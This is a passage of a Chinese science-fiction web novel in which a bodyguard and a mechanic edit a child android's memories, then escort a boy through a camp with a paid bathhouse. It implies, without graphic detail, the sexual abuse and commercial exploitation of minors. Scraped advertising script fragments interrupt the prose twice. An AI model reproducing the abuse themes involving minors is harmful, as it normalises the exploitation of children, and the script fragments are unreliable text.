他们不是当事人。这种种制约,注定了二人当下不可能得知真相。 ……况且,他们也没有在玩一个目的是查明真相的侦探游戏。 当务之急并非追根究底,而是尽可能地完成晨晨的维修工作。 花朵姐是沈司奥的客户,沈司奥要做的是满足客户的需求,时却要做的,是保护这位机械师不受可能失控的仿生人所伤。 时却去摸上衣口袋里的数个草戒,掌下有好几个环形的触感,分不出哪个是小仿生人送的草戒,哪个是她自己编的。 她慢慢地呼出一口气,拍了拍在夜风中被吹得冰凉的脸。 “我知道了。”她说。 沈司奥分辨了一会主屏幕上的代码。 “我们还有最后一个片段。从时间上看,就是第二天,在晨晨出校日发生的事情。” 时却深深地看一眼旁边的晨晨,沉默地点点头。 冷冽的月光下,熟悉的黑暗从副屏上缓缓消退。 一开始,是花朵姐来到学校的情景。 她和晨晨的对话显示,每回晨晨出校日,她都会亲自来接他回家。 在回家路上,花朵姐接了个通讯,脸色一变,和晨晨说工厂有事要她临时回去加班,便离开了。 晨晨独自往家走,不想在路上竟碰到了壁虎,壁虎很自然地和他打了个招呼,也匆匆走掉。他赶去的方向和花朵姐一致。 最初,晨晨没反应过来。毕竟他们之前仅在壁虎送抚慰金时见过一面。 直到壁虎离开后好一会,他才想起壁虎是谁。 他继续回家,路上零碎见到好几个熟面孔——他曾在父亲的酒局上见过的,蝎子的人。 这些人无一例外赶往同一个方向。晨晨在对方留意到自己之前躲了起来。 他回到家,邻近傍晚时等到了姐姐的通讯。 花朵姐告诉他,工厂出了事故,在紧急抢修,需要人搭把手,她走不开。 晨晨挂断通讯,拨给一个父亲的朋友,张口试探: “叔叔,你们蝎子那边的事情处理好了吗?我姐姐受伤了吗?” 在极为嘈杂的背景音中,对方怔愣一下,下意识道:“你知道了?害,她一个荷官,又不用上场干架……” 画面外响起如同擂鼓般的心跳声。 大概晨晨的脸色不对,对面反应过来自己说漏嘴,换上一副讨好嘴脸,忐忑地拜托晨晨不要告诉花朵姐,是他这边走漏了风声。 晨晨和父亲的朋友进一步打听出花朵姐的所在位置。 他匆匆赶到那个地方后,见到了自己的姐姐。 她衣着暴露,正俯身在一张赌桌上发牌。负责那个赌桌的蝎子打手,视线暧昧地在她身上巡游。 壁虎路过,给了那个打手一拳,将人打跑后,涨红了脸,束手束脚地从怀里掏出烟和打火机。 花朵姐笑意盈盈地用纤长的两指接过壁虎的烟,张口含进擦了口红的双唇之间。 她朝壁虎凑过去,烟尾正要往壁虎手里打火机喷出的橘红火焰里进,一个错眼,就看到了晨晨。 晨晨转身就跑。 以砰砰作响的心跳声为背景音,他一头扎入黑夜中,在街上奔跑起来。 转过某个拐角时,毫无预兆地,耳边风声骤止,他撞上了一个带头套的人。 没等他开口,对方手里拿了个什么东西,一步上前—— 画面变黑。但不是完全的黑,而是朦朦胧胧的,像被关在某处,只是人眼难以视物的黑。 正当时却以为这段记忆结束了,准备开口时,沈司奥神情一肃,摆手制止她。 屏幕仍是一片漆黑,画外却响起了一阵悠扬的音乐声。 在这音乐声中,夹杂着少年的痛苦哭求,以及另一个人的喘息声。 时却手脚发麻,胃里翻起阵阵恶寒。她下意识抗拒再待在此处。 她咬牙强忍着恶心,不知撑了多久,才等到沈司奥给她作了个手势,示意这段记忆结束。 ……她终于后知后觉,为什么晨晨之前会说自己“不喜欢被关着,也不喜欢听音乐”。 锚点迭代出的“姐姐是个贱人”这个矛盾,在这段记忆中勉强得到了解释。 承上启下,晨晨先从父亲和其朋友处被灌输了“赌场荷官不检点”的相关观念,再发现花朵姐当上了荷官,那么,他的确很有可能顺理成章地拿被灌输的观念去评价自己的姐姐。 ……不过,还有一件事。 说一千道一万,这和再后面晨晨受到袭击的事情毫不相干。 为什么,花朵姐会让机械师保留这件事情? 时却脑子里乱成了一锅粥,各种纷杂的念头到处乱飞。 尔后,她猛地回忆起今晚花朵姐层流露出的情态。 即爱又恨。她爱自己的弟弟,也恨他。 ……这和她莫名保留了这残酷回忆有关系吗?这是他们这些外人所无法理解的一种惩罚吗? 时却看沈司奥,沈司奥眉头紧皱,显然也很困惑。 “没时间了,锚点问题越快解决越好……我只能找找晨晨被输入的记忆,看最晚的片段是什么。” 他鼓捣半天,又调出一小段让人匪夷所思的记忆,那记忆甚至没有画面,只有语音。 伴随主屏上的代码开始滚动,黑漆漆的副屏中传来晨晨的声音,只一句话。 “姐、姐姐,”他哭着说,上气不接下气,语气几近乎忏悔,“我错了,姐姐。” 这是单方面的述说,不是对话,花朵姐甚至不在其中。 代码停止滚动。 沈司奥和时却面面相觑。不知过去多久,他们同时出声:“先——” 时却清清嗓子,心情复杂,飞快整理了一下情绪,示意沈司奥先讲。 “先走一步看一步,”沈司奥说,“我打算把酒局那段记忆删除,它似乎最影响锚点。” 时却赞同。 沈司奥开始工作。随着他的手指起落,主屏幕自行上翻到某处,静止一瞬。 尔后,在时却的注视下,于主屏幕上,闪烁的光标从第一行第一个字符起,飞快扫掠过挨挨挤挤的代码。 当光标扫过某些行的某些区域,不时有局部的字符无声地消失,只随后在原位留下一个空洞。 几个呼吸过后,当光标扫到最后一行的最后一个字符,时却的视野中,只余下似被人拿冲锋枪扫射过的门板般的行行代码。 主屏幕无声地上翻到新的代码位置。上述步骤被重复执行。 机械。重复。有迹可循。 时却深感,对于这个世界的科技而言,记忆成为了一种可以被肆意揉捏的橡皮泥。 “……还蛮可怕的。” 沈司奥手下动作一顿,偏过头。“什么?” “我是说,真可怕啊,这项技术。” 时却双手支在工作台的桌面上,仰头看着半空中两块并齐的全息屏幕。 “纯属好奇,我问个事情,”她以一种闲聊的姿态开口,“活人的记忆也可以被像这样检视和编辑吗?” 年轻的机械师低头继续工作。 “法律禁止这种事情。”他说。 时却哦了一声,又问沈司奥还要多久,得到的回答是大概三四分钟这样。 她看了一下终端,此时是九点过几分。 时却给流萤发了条消息,问她今晚自己去接谁。流萤暂时没回复。 时却在心里计时。一分钟,两分钟,三分钟。 第三分二十六秒,一阵乌云飘过,遮挡住夜空上高悬的月亮,向大地投下浓重的阴影。 紧盯着主屏幕的沈司奥神情微微放松。“好了,就剩最后几个——” “……姐姐?” 一个声音打断他。 阴云之下,一直跟假人似的晨晨忽然眼珠一转,转醒了过来。 他看上去懵懵的,毫无威胁,宛如刚脱离酣睡的孩童。 时却抽枪,开保险,用眼角的余光去瞟主屏幕。 那上面显示出满当当的代码,以及一个闪烁的光标。 那光标本该雄赳赳气昂昂地出发,此刻却只呆若木鸡,仿佛被冻住了般,停在第一行第一个字符之前。 晨晨眨了眨眼睛。他的瞳孔中无光,一片空洞。 他的鼻子轻轻地皱了起来。 “晨晨不太舒服,好像生病了。姐姐,晨晨自检一下可以吗?啊,头好痒……” 他抬起双手,拢了脑袋上粘附的丝线,一把扯掉、丢开。 半空中,副屏幕立即消失。 “姐姐,晨晨没有讨厌你呀,晨晨可喜欢姐姐了……”男孩模样的仿生人旁若无人地嘀咕着。 他伸手去够脖颈后连接的线缆。“脖子后面也怪怪的。” 原本,主屏幕只有下三分之一的边沿扭曲变红,晨晨一碰到脖颈后的线缆,主屏幕的整个边框,瞬时均转为带着不详警示的血色。 察觉一旁沈司奥的呼吸声变得急促,时却握枪的手不自觉收紧。 她举枪瞄准晨晨的心脏部位,扣下扳机。 砰! 枪声划破寂静的夜空。 一阵夜风吹拂,阴云散开,皎洁的月光柔柔地洒在草地上,也落于躺倒的男孩模样的仿生人身上。 他的胸口处,绽开一朵虚假的血花。 41. 五花肉 壁虎带着之前见过的机械师来接手晨晨时,时却收到流萤的回信,说和细雨商量好了,今夜是他。 沈司奥在壁虎和机械师来之前早收好了工作台,它转变为工具包的形式,静静地被他提在手上。 机械师到的时候,人拖着个行李箱,大约二十寸。 时却关了手腕上的全息投影,刚抬头,见他在行李箱上摸索几下,右手大拇指摁在一个明显是指纹识别区域的地方,再退开。 行李箱一阵嘎吱变形,展开为工作台的模样。时却目测,机械师的工作台,比沈司奥的小了足有三分之一。 机械师给地上的晨晨翻了个面,让晨晨脖颈后的接入口朝天,再拉了线缆,插/进去,调出充斥代码的屏幕。 壁虎没什么表情地凝视晨晨若隐若现于草后的侧脸,从怀里摸了支烟点燃。 随着他的一呼一吸,烟末端的猩红火光不断明灭。 这支烟燃至一半,机械师收起工作台,赞许道:“只是驱动电源被打爆,没什么大损伤,等到十二区,按部就班重弄一次锚点就行。” 壁虎夹了口中的烟出来,低头捻灭仍燃着的烟尾,边动作边斜眼瞧沈司奥,下巴略收紧了,直言问他是否有在晨晨的事情上尽力而为。 “不然呢?”后者扯扯嘴角反问。 壁虎盯沈司奥几息,大抵出于没发现什么端倪,两指一折熄灭的烟,随手扔了。 他脱掉外套丢给旁边的机械师,捞起晨晨背到背上。 正反面都贴过了地,男孩摸样的仿生人沾到些许泥土。 因为穿一身白的缘故,即使在不明亮的灯光下,他身上的脏污痕迹也清晰可见。 机械师把外套盖在晨晨身上,像一面罩在不完美画作上的罩布般,遮住那些痕迹。 “弄好啦,”机械师拍拍手,轻巧地说,“看上去不算太糟糕。” 他说的不太糟糕,指的大概是,光看这幅光景,壁虎背着晨晨,像个尽责的大哥在照顾弟弟。 时却忍不住咬了一口下唇内侧的软肉。 她感受着一点疼痛弥漫开,知道她这会不该开口,仍问:“你们要带他去找花朵姐?” 壁虎垂下眼,背过身。 机械师拉着行李箱跟上壁虎的脚步,扭头替他回道:“对,毕竟是花朵姐的弟弟么。” “没想到你还挺关心花朵姐的,”他笑着摆摆手,“拜拜,有机会再见啊。” 时却沉默地看他们离开。 “走吧。”沈司奥提醒,“不是还去接人?” 二人朝解压好去处去。 路上,时却问沈司奥:“为什么之前说晨晨如果有攻击欲,就要打头?” “仿生人的主控芯片在头部,如果晨晨表现出了攻击欲,说明他主控芯片里的程序将在短时间内紊乱到无法挽回的地步;击穿晨晨的头部相当于破坏主控芯片的部分,也能强行停止这种紊乱,这比后续再重构主控芯片更省事。” 时却消化了一会这个说法,又看向路边,问:“你和我说过,异常仿生人能超越程序设定,晨晨——” “这种情况不属于异常仿生人,仿生人的定义是‘能持续做出超越程序设定行为’,”沈司奥打断道,“因为锚点不稳定而产生的短暂程序错乱,不属于超越程序设定的行为。” 他停顿一下,轻声补充:“我很遗憾。” 时却干巴巴地回了声哦。 哦完,她自觉有点尴尬,手按在脖后,不自在地扭了扭脖子,随口扯了个话题,说见蝎子机械师的工作台需要指纹解锁,问沈司奥的工作台是不是也是一样的情况。 “可我没见你有类似的举动。你每次都是一拉开拉链,丝滑得很,唰……” 沈司奥眨眨眼,给出一个让人无法反驳的回答。 他道:“我的工作台比他的贵,所以解锁流程看上去更无感。一分钱一分货。” 不禁想到那宝贝工作台价值几何的时却:“……” 随后,二人又聊了点有的没的。 诸如一会接到细雨后,回了集中休息处搭好帐篷,时却得自己的事情自己揽,好好带孩子之类的。 再行了一会,即将从僻静的边缘地带进入人声明显的位置时,沈司奥跟搞突然袭击似的,冷不丁道:“你刚才不是担心花朵姐吧。” 时却惊诧于他突然提到这事。 “不是。”她说,心想我担心花朵姐干嘛。 她不再多讲,本想就这么把这个话题糊弄过去,不料没得到心照不宣的默契配合。 沈司奥盯着她不转眼,一幅还在等她说更多的样子。 路边的户外灯越来越密集,照映得沈司奥瞳孔中的亮点也渐多。 时却被他瞧了半晌,无奈地搔搔脸,勉为其难地挤出一点牙膏:“我想验证一个猜测。” “什么?” “壁虎一会要去见花朵姐,背晨晨,还给他盖衣服,是不是为了……让花朵姐看到晨晨时不至于太难受。” 沈司奥立即追问:“只因为这个?” 时却挑眉,有点牙痒。 她右手握拳,轻敲面前未成年的脑袋,在他微微睁大的眼睛的注视下,化拳为手刀,在空气中短而有力地切了一下,作“止”的手势。 示意不想再继续这个话题。 沈司奥见好就收,举双手作投降状,没再坚持。 时却希望他后头也别自己琢磨这事。 毕竟她自觉没说出口的话,即不太好听……又幽微。 真相是,大概出于可以被称之为是唇亡齿寒的微妙情感,片刻前的她鬼使神差地,想再三将那时正发生的事情,以有形的话语重申一遍。 哪怕说者是自己,听众也唯一,仅她自己。 真相是,花朵姐在玩一个过家家酒的游戏,壁虎在小心翼翼地陪她玩。 所以,所谓“那时正在发生的事情”,其本质为: 即便由于切断电源而暂停运行,一个仿生人,一个类人的家伙,仍因被赋予的假身份,被摆弄、支使和利用。 * 心不在焉地,时却随沈司奥来到解压好去处。 尽管换了个缓冲点,但解压好去处的一切似复制粘贴般地再次出现在时却眼前,一如昨夜。 遍地布满挨挨挤挤的帐篷,星星点点的暖色调亮光团簇着,象征一个个触手可及的暧昧美梦。 ……当然了,这美梦是有偿的。 得益于和前一夜大同小异的布局,二人没多久便找到挂有“奇趣泡泡浴”招牌的帐篷。 陈老板也在,一见到他们,两手交叉握在胸前,嘴角的弧度先夸张地大幅度上扬,再稍回落为正常水平。 他一脸笑地迎上来,说细雨马上到,话音中甚至不忘配合待客的笑容,语调微微颤抖,抑扬顿挫,热情得极为专业。 如此无懈可击的欢迎下,在感到肉麻前,时却看着陈老板的脸,觉察出一丝象征“肉疼”的蛛丝马迹。 这点神态转瞬即逝,极其细微,说是一把绿豆里的几颗红豆也不为过了。 ……自己之前有这么敏锐吗? 时却若有所思 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地招招手,叫了个熟面孔,让对方装点上档次的零嘴来,他们等会一起带走。 “多少钱?”她问。 陈老板连连摆手,夸张地拉高音量,啪地一拍大腿:“哎呀,不收钱,不收钱!”然后悄然龇了龇牙,那点子肉疼之色更加明显,让时却确认自己没看错。 ……怎么回事? 她狐疑的情绪刚起,被进入帐篷的细雨打断。 这男孩从外面进来,周身带有未散尽的冷意。这冷意中掺杂有沐浴露的香气,不过不浓,只有一点点。 细雨在距离时却两步远的位置站定,垂在身侧的右手情不自禁地抓了一下裤侧的布料,抬眼朝时却和沈司奥笑。 他穿着简单的冬装,气色看上去比昨晚分开时好多了,只有眼睛还微微肿起。时却估摸着,等明天太阳升起,这点痕迹就能消失。 三人刚离开帐篷,细雨主动提出还满天星的医疗费。沈司奥和他完成转账后,他拍着胸脯,呼一下长松了好大一口气。 旁观的时却看出来他主动作怪,配合地笑笑。 细雨眯着眼睛也笑,恢复几分时却初见他时的开朗。 “我怕你们不收嘛,姐,”他摸摸鼻子解释,“所以有点紧张。” 他道满天星今天都能下地了,让二人不用担心,又说要不是流萤有别的事情,她也会来见两人。 接着,他不太好意思地提起昨天中午的事情,双手合十: “姐,真的非常非常感谢你的饭!” 沈司奥还不知道这档子事,给了时却一个略带疑问的眼神,时却简单说,当时碰到细雨没有吃饭,就把给原本要带给他的午餐给了细雨。 细雨抿着嘴,不太好意思地补充:“还有鞋子,我当时不太舒服,鞋子还掉了一只,姐拿保温袋给我做了一只临时的鞋子,那个鞋子我没扔呢,想留起来……” 他的脸有点烧起来了,嘿嘿傻笑了一下,摸摸后脑勺,继续没说下去,。 时却朝这男孩的眼睛里看去,见到他瞳孔中倒映的点点路边灯光,不由得沉默。 她想了想,拍拍细雨的肩膀,斟酌着说:“以后不舒服的话,最好还是休息。” 细雨睁大眼睛,有点呆愣地眨了眨,嘴巴微微张开。 时却平静地和他对视。 “姐,哦,你当时,”细雨稍有些磕巴,两只手搭在身前,搅在一起,“你看出来了……” 沈司奥脑袋上的问号再次几乎具现化出来。时却给他“没你的事,快救场”的眼神。 虽然不知道发生了什么,年轻的机械师在隐晦地回以一个白眼后,还是不动声色地打了个岔,转移话题,和细雨聊起十三区的生活。 在他们你一言我一句的聊天声中,时却则略有些走神。 她当时……她当然看出来了,她又不瞎。 昨天中午,细雨脸上的巴掌印,看尺寸,八成属于某个成年人。 她想,造成细雨昨天中午糟糕情况的始作俑者,真要论起来的话,大概得好几个人分锅。 虽然因为救细雨的举动,满天星那些疑似霸凌的举动变得有些耐人寻味了起来,不过满天星肯定是一个没跑了,就事论事,他打包回了油腻冰冷的五花肉。 细雨自己也算一个,为了流萤提到的神秘客人,他应该在超出自身能力地接客,甚至不管不顾,草草用冷饭填了肚子后也不休息。 然后就是细雨昨天中午接的客人了。有什么可争论的呢?那人得占大头。 一个孩子脸上的巴掌印,不是能凭空出现的东西。 42. 用水 邻近集中休息处,时却觉察人群的流向有异。七八个人里,总有两三个家伙赶往差不多的方向。 较干燥的冬天而言,水汽含量倏忽高出了许多。或轻或重的香味纠缠于突然润泽起来的空气中,再乘夜风散向四面八方。 身上带有香味的路人里,若是短发的家伙,头皮上的黑发是一小撮一小撮地粘连,再凭借数量有限的人造灯光的映照,折射出细碎微光;而对于留中长发的人,他们的发尾多湿漉漉的,洇得和其相贴的领口扩开些许的深色痕迹。 附近,一个脖挂灰蝎卡的半大少女脚下不知道磕到了什么,哎哟一声,来了个平地摔。 什么东西从她怀里飞出来,划到半空;时却伸手截断那玩意的抛物线痕迹,将其捞下。 是块白白胖胖的香皂,椭圆形,两头细,中间粗。它被封在一个半边淡紫色半边透明的香皂盒里,盒外包裹着被人揪开了个口子的塑封膜,丝缕玉兰香气从这口子里钻出,叫时却倍感亲切。 时却将香皂递给从地上爬起来的少女,少女不太好意思地道了谢,说赶着到蝎子搭了澡堂的地方排队等位置,并郑重其事地叮嘱时却三人,叫他们也赶快去。 “好多人!队可长了!” 她将香皂往怀里一揣,急匆匆地跑走。 细雨挺开心,说他还以为这趟行程下来,只有解压好去处那边会有洗澡的地方。现在很好,集中休息处也有了。 “今天才有的吧。”时却杵杵沈司奥。 沈司奥:“应该是,昨天没看见。” 时却和细雨简单说了下她和沈司奥昨晚的经历。 昨天离开从解压好去处后,他们在集中休息处找位置搭帐篷时,只看到有厕所,还收费,三元十分钟起,每超时一分钟五毛。 “不知道你们那边什么情况,”时却耸肩,“紫蝎这里反正是几个移动厕所一列排开,每个厕所边上配一个战斗仿生人,脖子上挂收款码收费,不止收费——” 她本着几分出于吊人胃口的心态拖长语调,没想到细雨揉揉微肿的眼睛,稍有余悸地露出感同身受的表情,略显尴尬地接话说:“它还两分钟报时一次,对不对?” 时却:“……” 沈司奥:“……” 时却差点被自己的口水呛到。她还以为就紫蝎有这待遇。 “蝎子一视同仁,粉蝎那边也这样。”细雨团了右手捂在嘴边轻咳两下。 他瞄了四下,见没有离得较近的黑蝎,压低声音:“就灰蝎和黑蝎那边免费。紫蝎不算最惨的呢,蓝蝎那边四元十分钟。” 甚至比紫蝎贵一块钱,实属四色人群中最惨的一类,明晃晃被当成肥羊宰。 三人面面相觑,彼此对视,均有些哭笑不得。 不过么,这属实是种周瑜打黄盖类型的交易。 毕竟白天赶路时,可想而知人人会在野外怎么解决生理需求——无外乎找个隐蔽的地方随地处理,注重安全的让同伴在附近把个风,注重体验的精挑细选一下地点。 五谷轮回,自然行为,没有什么好说的。 而在缓冲点里,如果不怕被巡逻的战斗仿生人或黑蝎或路人暴揍,想随地那当然可以;如果的确接受不了蝎子的收费,到缓冲点外的森林解决,也没人拦着,仅需权衡心理体验和黑夜中可能直线飙升的安全风险。 选择很多,而假使你是个已被文明社会里养成的习惯所俘获了的人,那这会可不就只得乖乖打开钱包了么。 不管收费的是厕所还是洗澡间,本质都是一种对文明的收费。 ……不过就事论事,两分钟报时一次的确挺狗的。 时却和沈司奥一致认为,蝎子内部设计这些细节的人绝对是个魔鬼。 聊到这,细雨先赞同,然后吐了吐舌头,说他还真知道是谁弄出了这个奇葩厕所制度。 “是蜥蜴啦,听说这样能提高什么‘翻间率’,”他眨巴着眼睛说,“我认识的蝎子的人和我讲,她很擅长搞这些扯上钱的东西。” 沈司奥:“……” 时却:哇哦。 她更新了一下对蜥蜴的认知,看一眼沈司奥,抬腕确认当前时间,见才晚八点,问沈司奥他想不想洗澡。 “本来该去老金那拿摩托和其他行李,再搭帐篷……”时却笑眯眯道,今晚她和沈司奥是先把大部分东西放在老金那,再去处理晨晨的事情的。 “现在,你说呢?” 沈司奥当即拍板决定,他要去洗澡。 细雨自然没什么意见。商量下来,三人今晚的安排订为:他们先取部分沈司奥洗漱要用的东西,待他洗完澡后,再返回拿摩托和剩下的东西,最后搭帐篷休息。 * 三人掀开老金帐篷的门帘时,老金正和两个侄子盘腿坐在一块打扑克。 老金的牌技肉眼可见地烂,满脸贴了白条,他动作一下就纷纷扬扬的。 他本捏着手里扇形张开的几张牌抓耳挠腮,拿不定主意该出哪个,见三人来了,大喜过望,手里牌一丢,在侄子们的嘘声中直嚷道要待客,这局不算了。 时却嗅到帐篷里有沐浴后的清爽气息,瞧着老金去翻二人托付给她的行李的动作,顺带询问起澡堂的具体情况。 她得知,不像厕所那样每次扎营时都会被布置,视情况,蝎子将每两到三天的晚上批量地搭建一次面积不小的临时澡堂。 这个时间间隔难以缩短,主要涉及水源净化和人力安排上的问题。 就像未经净化的可食用物中存在辐射,有便携净化装置专门能针对此进行净化一样,野外的水源中也存在辐射,人体接触得越少越好。 蝎子不屑于提供未净化过的水作为澡堂用水,那么自然地,除需要在搬运水的环节中投入人力物力外,还得考虑调试用于净化水的装置了。那装置娇气得很,用过一次就要进行繁杂的维护。 讲到这里,老金得意地吹起一张垂在嘴边的贴条,对沈司奥说:“怎么样,是不是很照顾你的保镖,这科普,是不杠杠到位!来,再讲讲实在的!” 他道,整个临时澡堂大概分成三块区域,一块是纯有多个喷头直接架起来的地方,只在喷头们的周边整体作了遮挡,出热水,按分钟收费;一块有数列排开的独立洗澡间,收费标准是400元15分钟。 “还有一个区域呢?”时却问。 “那块卖前两个区域别人用过的水,蝎子把那些水快速简单处理了下,便宜的卖。”老金说。 “卖来……?” 细雨看出时却一脸的没概念,轻声道:“姐,有很多用途的。”他点到即止,不再往下说。 沈司奥直接了当:“还热着,带走或者就地拿保温的容器装了,用来擦洗身体或洗衣服都可以。喝也行,喝不坏,最多闹闹肚子。” 时却一拍掌。 “正好啊,那我有身衣服要洗,”她说,“就昨晚打狼那套,收在背包里了。” 昨晚没心情,今天一天行程挺满,白天打猎,晚上有晨晨的事情,还要接细雨,她就犯懒没处理。 想着自己有三身衣服,加上冬天天气冷还干燥,她本打算明天白天再偷摸带沈司奥找条河处理。 时却给计划通的自己点赞,不经意间转眼对上细雨的眼神。 男孩不知在想什么,对上她的视线,一触即逃,眼神闪了一下,再若无其事地回看过来,朝她露齿一笑。 时却不明所以,想想也不至于为这点小事专门发问。 三人赶到老金说的位置。临时澡堂的情况和他说的大差不差。 有一个区域排开了数个相互独立的洗澡间,那儿的人少很多,寥寥无几,位置看上去挺有余裕。 再往边上,占地面积最大的是一个被蝎子拿了些板材临时围成的平房,属于没有隔间的形式,分设男女区,男女区各开放了入口供排队,热气从里蒸腾着飘出,排队的人大约是昨天兑换点和医疗点的数倍。 平房后头放有两个硕大的机器,一对管道分别将两个机器和平房内相连通,再有另一对管道各自的一头连通这俩机器,再边上延伸,分出多条支道,连入距离平房不远的几个硕大卧式罐体。 那几个罐体上设置了极为便利就能开闭的出水阀口,罐体前头排有几列队伍,队伍里的人自带着容器,一轮到自己,交了钱接了水就走,因此虽说队伍好几列,移动的速度却很快。 沈司奥稍打量了一下那两个机器和卧式罐体,说它们就是净水的设备了,至于卧式罐体,则内置有简单的污水处理装置。 时却从背包里翻出个折叠水桶,三人排队接上了一桶水,再往设有移动洗澡间的方向去。 向看守的战斗仿生人付过钱,听战斗仿生人叭叭念完一堆什么只能进去一个人,不允许外带水的规矩,沈司奥随意挑了个空的洗澡间,带上洗漱用品,人进去,门咣当一声关上。 下一刻,里头传来水声。 洗澡房之间的间距不小,时却把水桶往门边一放,从背包里翻出打狼的血衣和洗衣粉,开始她的洗衣服大业。 细雨也在时却旁边蹲着,胳膊支在膝盖附近,侧头安静地看她。 饶是冬天,混合了血和汗的衣服 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也隐约有味。时却手舀了桶里的水,一点点泼湿了,再往血迹尤其深处有针对性地倒洗衣粉。 雪白的粉末遇水,堆叠得稀疏处忙不迭散开,堆叠得多处凝团簇着结块。 无论如何,随后被一搓揉,它们纷纷化开,连带散出淡淡的、交织了柠檬香和铁锈的气味。 浅红色液体或化为水珠飞溅,或滴落,或汇为股流下。 这些渐渐从衣物上被挤压出来的血水,不仅昭示恶战的曾经发生,还直白反应出战斗的结果,以及其主人的战斗素质。 细雨不禁想,这样的人,当不管要做什么事,都易如反掌吧? 有泡沫溅到时却脸上,她脸颊那附近的肌肉下意识抽动了一下。细雨确认时却肯定感受到了那一点凉意。 不过大概基于双手都占着,她暂时没去管这件事。 反而,大概是看两人之间安静得有些久了,她顶着脸上那点看起来有点可笑的白色泡沫,找话题和细雨有一搭没一搭地聊天,用的话题,多还是沈司奥和细雨聊过的话题的变种。 细雨不禁又想,这样做什么都感觉易如反掌的人,目前正在别人洗澡间的外头蹲着洗衣服,脸都懒得擦…… 一个并没有什么营养的话题结束后,细雨好奇地发问:“姐,沈哥出来后,你一会儿去洗是吗?” 时却摇头道:“我怕进去再出来,你沈哥早被人掳走八百米远。” 细雨眨巴眨巴眼睛:“那你怎么办?” 时却知道他问的是个人卫生方面的事情。 她感觉上衣搓好了,将其略泼过一遍水,拧干了往边上表面防水的背包上一丢,腾出手来擦擦脸,捡过裤子继续洗。 “你沈哥睡着后,我在帐篷里对付着随便弄弄。”她大大咧咧道。 昨天晚上,她就是这么干的。 沈司奥睡前,她毫不避讳地在帐篷内角落边粘了几个U型布条作为挂钩,告知要做什么;沈司奥睡后,她牵了件衣服作遮蔽,再轻手轻脚地换衣服、简单清理身体,以免自己馊掉。 至于沈司奥就在边上的事情,她并不在意。 虽然说时却脑子那份记忆里的那个姑娘,她的看法其实比较偏向什么男女有别啦,但时却觉得对此实在没什么感觉。 要是有这个条件嘛,出于遵循文明社会的常识,也出于守护个人边界,时却恨不得和沈司奥一人一间大床房。 现在么,一来出于安全考虑,她的确不能轻易离开沈司奥身边,老板真随便给人宰了她上哪哭去;二来,沈司奥主观上肯定对她没兴趣,听出她在干嘛的话,不管睡没睡,不会往她这看。 三来,就算沈司奥睡得迷迷糊糊,醒了看到什么……那怎么了,她不尴尬,那不就只有沈司奥尴尬的份了吗? 时却想了想,“应该这趟行程,我都会这样凑合吧。” 她低头继续洗裤子,舀舀桶里的水,感觉这水看上去和清水并没什么不同,算算身上剩的几百块钱…… 穷鬼时却十分自然地补充道:“哦对了,昨晚用的还是我们自带的水,等沈司奥洗好了,我再去灌点这种水,这两天备着用。” 细雨道:“姐,你觉得这水还可以呀。” 时却歪头看他。 男孩今晚第二次地躲开她的视线,小声说:“哦,没什么,我一直用的这种水。” “一直?” “在十三区的时候一样,”细雨用手指抠了一下脚下的草地,“好就好在,是老板供的,免费;也可以不用老板的,自己买,不过那样下来日常开支会比较高。” 时却垂眼搓搓裤子,考虑自己该怎么回应。她抬头问他那算下来一个月能省多少钱。 细雨大致报了个数字。 时却认真地点点头。裤子洗得差不多了,她把上衣和裤子统一泡入桶中过水,涮洗,拧干。 她走开几步,倒掉桶里的水,再回身,把拧干的衣物丢入桶中,打算晚些时候把它们搭在摩托上晾。 时却掏出怀里的钱,点给细雨看,真就区区几百元。 “你看,我目前兜里就这么点钱,所以省着点用不为过。” 她指指方才倒水的地方,在草和夜色的覆盖下,水迹并不明显。她再示意细雨看桶里洗好的衣物。 “水用完也就流走了,我囊中羞涩,对我来说,那水妥妥挺好的,”她认真道,“省下来的钱,我可以拿到其他方面去花。” 比如未来,修修自己什么的。 细雨噗嗤一笑。 “哇,”他眉眼弯弯地竖起一个大拇指,“姐,会过日子!” 43. 钢笔 等沈司奥洗完澡,晚九点多,三人按计划选好个地方,准备搭帐篷。 沈司奥抱出在摩托后备箱里躺了两天的番茄,呼唤它的名字,放它在草地上。 番茄两耳耸拉,慢慢地张开水润的黑豆眼。 它支起上半身,左摇右晃脑袋,晕晕乎乎,带着上扬语调疑惑地哼唧了两声。 没几秒钟,它瞧见了数步开外的时却,她背对自己蹲在地上摆帐篷配件。 它腾一下站直,双耳倏立,尾巴欢快地摇动起来。 番茄汪叫一声,朝时却开奔,距她极近时,整只小狗直立起来,肉乎乎的俩前爪攀上她后腰。 “汪汪汪汪汪!”又是一连串兴奋的吼叫。 时却乐了,扭身,两手分别卡住番茄两前肢的腋下,捞过这只胆敢干扰自己做活的小狗,一把掀翻侧摁在草地上,伸手挠这小家伙。 番茄前爪曲起,眯起眼睛,主动挺肚子,从侧躺的姿势变为肚皮朝天,尾巴摇晃的幅度骤然变得缓慢而闲适,嘴里发出柔和的呜呜声。 顺着温暖软和的毛绒触感,时却从下往上一直挠到番茄的下巴处,被它以非常轻的力度衔住一点手掌。 细雨眼神发亮。“姐,你也有一只德牧,还这么小!” 他利索地代替时却飞快摆好所有的帐篷配件,小心翼翼地问能不能摸摸番茄。 得到应允后,他惊喜地去摸番茄,番茄拿小脑袋不住地蹭他的手心。 见细雨这副模样,时却福至心灵,叫他不用管帐篷了,和狗自己玩去就行。 “姐,不用不用……”细雨脸微红,下意识连连摆手,作势要蹲下帮忙。 他哪能快过时却,被她架住,提溜小鸡仔那般轻巧地薅起来,给站直了。 时却抱起番茄放到他怀里,坏心眼地欣赏了几秒钟他不舍得撒手,又觉得该尽快再推拒的纠结神态。 “玩去,”她参考记忆中那个姑娘邀请发小的语气,“坐草地上发呆也行。” 坏女人当够了,她以不容拒绝的力道推细雨离开摆上帐篷配件的地方,向一小片空地去。 时却继续参考记忆,现学现卖。 “你帮忙带带番茄,转移转移它的注意力。”她对细雨单眨一下右眼,“别让它有机会来咬我的鞋带。” “姐,你真的不需要我做什么吗?” 为不显得敷衍,时却特意停顿几秒。 “不需要。”她说。 一个孩子,她要求什么,这没什么家务好给他做,她也没兴趣经典地让他“来给在场的长辈表演个节目”。 细雨感到她的认真,定定看她。他猛地一下抱住她的腰,脸埋进她的上衣里几秒钟。 